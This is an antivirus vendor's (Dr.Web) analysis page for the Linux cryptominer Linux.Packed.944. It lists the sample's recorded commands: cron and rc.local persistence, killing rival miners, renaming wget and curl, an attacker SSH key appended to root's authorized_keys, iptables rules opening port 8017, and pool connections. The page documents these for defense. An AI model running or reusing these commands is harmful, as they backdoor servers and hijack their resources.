Bibliothèque
Ma bibliothèque

+ Ajouter à la bibliothèque

Contacter-nous !
Support 24/24 | Rules regarding submitting

Nous téléphoner

0 825 300 230

Forum

Vos requêtes

  • Toutes : -
  • Non clôturées : -
  • Dernière : le -

Nous téléphoner

0 825 300 230

Profil

Linux.Packed.944

Added to the Dr.Web virus database: 2020-10-05

Virus description added:

Technical Information

To ensure autorun and distribution:
Creates or modifies the following files:
  • /etc/rc.local
  • /etc/crontab
  • /var/spool/cron/crontabs/root
Malicious functions:
Launches itself as a daemon
Gets access to SSH keys
  • /root/.ssh/authorized_keys
Modifies firewall settings:
  • iptables -I INPUT -p tcp --dport 8017 -j ACCEPT
  • iptables -I OUTPUT -p tcp --sport 8017 -j ACCEPT
  • iptables -I PREROUTING -t nat -p tcp --dport 8017 -j ACCEPT
Launches processes:
  • <SAMPLE_FULL_PATH> -deamon
  • sh -c ps -ef | grep Circle_MI | grep -v grep | awk '{print $2}' | xargs kill -9
  • ps -ef
  • grep -v grep
  • grep Circle_MI
  • awk {print $2}
  • xargs kill -9
  • kill -9
  • sh -c ps -ef | grep kworker34 | grep -v grep | awk '{print $2}' | xargs kill -9
  • grep kworker34
  • sh -c ps -ef | grep .daemond | grep -v grep | awk '{print $2}' | xargs kill -9
  • grep .daemond
  • sh -c ps -ef | grep /tmp/thisxxs | grep -v grep | awk '{print $2}' | xargs kill -9
  • grep /tmp/thisxxs
  • sh -c ps -ef | grep /opt/yilu/work/xig/xig | grep -v grep | awk '{print $2}' | xargs kill -9
  • grep /opt/yilu/work/xig/xig
  • sh -c ps -ef | grep /opt/yilu/mservice | grep -v grep | awk '{print $2}' | xargs kill -9
  • grep /opt/yilu/mservice
  • sh -c ps -ef | grep /usr/bin/.sshd | grep -v grep | awk '{print $2}' | xargs kill -9
  • grep /usr/bin/.sshd
  • sh -c ps -ef | grep /usr/bin/bsd-port/getty | grep -v grep | awk '{print $2}' | xargs kill -9
  • grep /usr/bin/bsd-port/getty
  • sh -c ps -ef | grep x86_ | grep -v grep | awk '{print $2}' | xargs kill -9
  • grep x86_
  • sh -c ps -ef | grep cryptonight | grep -v grep | awk '{print $2}' | xargs kill -9
  • grep cryptonight
  • sh -c ps -ef | grep ddg | grep -v grep | awk '{print $2}' | xargs kill -9
  • grep ddg
  • sh -c ps -ef | grep prohash | grep -v grep | awk '{print $2}' | xargs kill -9
  • grep prohash
  • sh -c ps -ef | grep monero | grep -v grep | awk '{print $2}' | xargs kill -9
  • grep monero
  • sh -c ps -ef | grep xmr | grep -v grep | awk '{print $2}' | xargs kill -9
  • grep xmr
  • sh -c ps -ef | grep miner | grep -v grep | awk '{print $2}' | xargs kill -9
  • grep miner
  • sh -c ps -ef | grep pool. | grep -v grep | awk '{print $2}' | xargs kill -9
  • grep pool.
  • sh -c ps -ef | grep tcp: | grep -v grep | awk '{print $2}' | xargs kill -9
  • grep tcp:
  • sh -c ps -ef | grep stratum | grep -v grep | awk '{print $2}' | xargs kill -9
  • grep stratum
  • sh -c killall xmr
  • sh -c mv /usr/bin/wget /usr/bin/wget1&
  • mv /usr/bin/wget /usr/bin/wget1
  • sh -c mv /usr/bin/curl /usr/bin/curl1&
  • mv /usr/bin/curl /usr/bin/curl1
  • sh -c chmod +x /tmp/xmr
  • chmod +x /tmp/xmr
  • sh -c /tmp/xmr
  • /tmp/xmr
  • sh -c chmod +x /tmp/secure.sh
  • chmod +x /tmp/secure.sh
  • sh -c /tmp/secure.sh&
  • /tmp/secure.sh
  • sh -c chmod +x /tmp/auth.sh
  • chmod +x /tmp/auth.sh
  • sh -c /tmp/auth.sh&
  • date +%b %e %H
  • /tmp/auth.sh
  • sh -c mkdir -p /usr/.work
  • grep Oct 5 17 /var/log/secure
  • grep Failed
  • sort
  • awk {print $(NF-3)}
  • uniq -c
  • awk $1>\"$LIMIT\"{print $1\":\"$2}
  • mkdir -p /usr/.work
  • sh -c \cp -R /root/* /usr/.work/ &
  • sleep 60
  • grep Oct 5 17 /var/log/auth.log
  • sh -c mkdir -p /root/.ssh
  • cp -R <SAMPLE_FULL_PATH> /root/run.sh /root/stdout.log /usr/.work/
  • mkdir -p /root/.ssh
  • sh -c chmod 700 /root/.ssh/
  • chmod 700 /root/.ssh/
  • sh -c echo >> /root/.ssh/authorized_keys
  • sh -c chmod 600 /root/.ssh/authorized_keys
  • chmod 600 /root/.ssh/authorized_keys
  • sh -c echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDc3BlbiQaznPT8TScrs9YIzmrpI9Lpa4LtCjB5z0LuQ4o6XwvzomxAixn2F1jaUl175Cxcg3PmUsPOLE+WeWicKqL2YZ46SotjZgnS6JjXpuZVi7V0DSiXu0itlwWDC9m8huBvUBSIsDCsgb9OeG6rlrCyZgTW+qZciK+KZ8rwlFp3CFyxoF2122ueOnl5pAUCy1iHqGun03dMdUxA1d3KnxSZ3NQrYiH69dc8/YhV4SriOW9psc0pv9KeBLF0OXHtEAdbnSlwfk2uTjjBMK0nDidl7wS52Ygi/H4+P+4EXkSzf4Jj4/L6P3c5rLC3/l3RFdo1T7EQ8fH6NsTYJNZ7 root@u911\" >> /root/.ssh/authorized_keys
  • sh -c iptables -I INPUT -p tcp --dport 8017 -j ACCEPT
  • sh -c iptables -I OUTPUT -p tcp --sport 8017 -j ACCEPT
  • sh -c iptables -I PREROUTING -t nat -p tcp --dport 8017 -j ACCEPT
Attempts to kill the following processes:
  • killall xmr
Performs operations with the file system:
Modifies file access rights:
  • /tmp/xmr
  • /tmp/secure.sh
  • /tmp/auth.sh
  • /root/.ssh
  • /root/.ssh/authorized_keys
Creates folders:
  • /usr/.work
  • /root/.ssh
Creates or modifies files:
  • /tmp/config.json
  • /tmp/xmr
  • /usr/bin/wget
  • /tmp/secure.sh
  • /tmp/auth.sh
  • /usr/.work/<SAMPLE>
  • /usr/.work/run.sh
  • /usr/.work/stdout.log
Network activity:
Awaits incoming connections on ports:
  • 127.0.0.1:14747
Establishes connection:
  • <LOCAL_DNS_SERVER>
  • 16#.###.226.137:6666
DNS ASK:
  • xm#.##ypto-pool.fr
Sends data to the following servers:
  • 16#.###.226.137:6666
Receives data from the following servers:
  • 16#.###.226.137:6666
Other:
Collects CPU information
Collects RAM information
Collects information about network activity

Recommandations pour le traitement


Linux

Veuillez lancer le scan complet de toutes les partitions du disque à l'aide de Dr.Web Antivirus pour Linux.

Version démo gratuite

Pour 1 mois (sans enregistrement) ou 3 mois (avec enregistrement et remise pour le renouvellement)

Télécharger Dr.Web

Par le numéro de série